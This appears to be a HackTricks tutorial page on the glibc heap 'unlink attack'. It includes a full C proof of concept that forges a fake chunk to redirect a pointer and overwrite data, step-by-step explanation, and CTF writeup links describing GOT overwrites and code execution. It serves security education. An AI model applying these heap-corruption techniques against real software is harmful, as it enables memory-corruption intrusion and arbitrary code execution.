Unlink Attack

Support HackTricks

Basic Information

When this attack was discovered it mostly allowed a WWW (Write What Where), however, some checks were added making the new version of the attack more interesting more more complex and useless.

Code Example:

Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x8000);
  chunk2 = malloc(0x8000);
  printf("Stack pointer to chunk1: %p\n", &chunk1);
  printf("Chunk1: %p\n", chunk1);
  printf("Chunk2: %p\n", chunk2);

  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->size = 0x8000;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("Chunk1: %p\n", chunk1);
  printf("Chunk1[3]: %x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}
  • Attack doesn't work if tcaches are used (after 2.26)

Goal

This attack allows to change a pointer to a chunk to point 3 addresses before of itself. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.

  • If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary

  • In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses. As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).

Requirements

  • Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.

  • Stack leak in order to set the pointers of the fake chunk.

Attack

  • There are a couple of chunks (chunk1 and chunk2)

  • The attacker controls the content of chunk1 and the headers of chunk2.

  • In chunk1 the attacker creates the structure of a fake chunk:

    • To bypass protections he makes sure that the field size is correct to avoid the error: corrupted size vs. prev_size while consolidating

    • and fields fd and bk of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so fake_chunk->fd->bk and fake_chunk->bk->fd points to position in memory (stack) where the real chunk1 address is located:

  • The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.

  • When the second chunk is freed then this fake chunk is unlinked happening:

    • fake_chunk->fd->bk = fake_chunk->bk

    • fake_chunk->bk->fd = fake_chunk->fd

  • Previously it was made that fake_chunk->fd->bk and fake_chunk->bk->fd point to the same place (the location in the stack where chunk1 was stored, so it was a valid linked list). As both are pointing to the same location only the last one (fake_chunk->bk->fd = fake_chunk->fd) will take effect.

  • This will overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack.

    • Therefore, if an attacker could control the content of the chunk1 again, he will be able to write inside the stack being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.

    • Note that this was possible because the addresses are stored in the stack. The risk and exploitation might depend on where are the addresses to the fake chunk being stored.

References

  • Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:

    • CTF example: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html

      • In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.

    • Another CTF example: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html

      • Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.

    • CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html

      • There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.

Support HackTricks

Last updated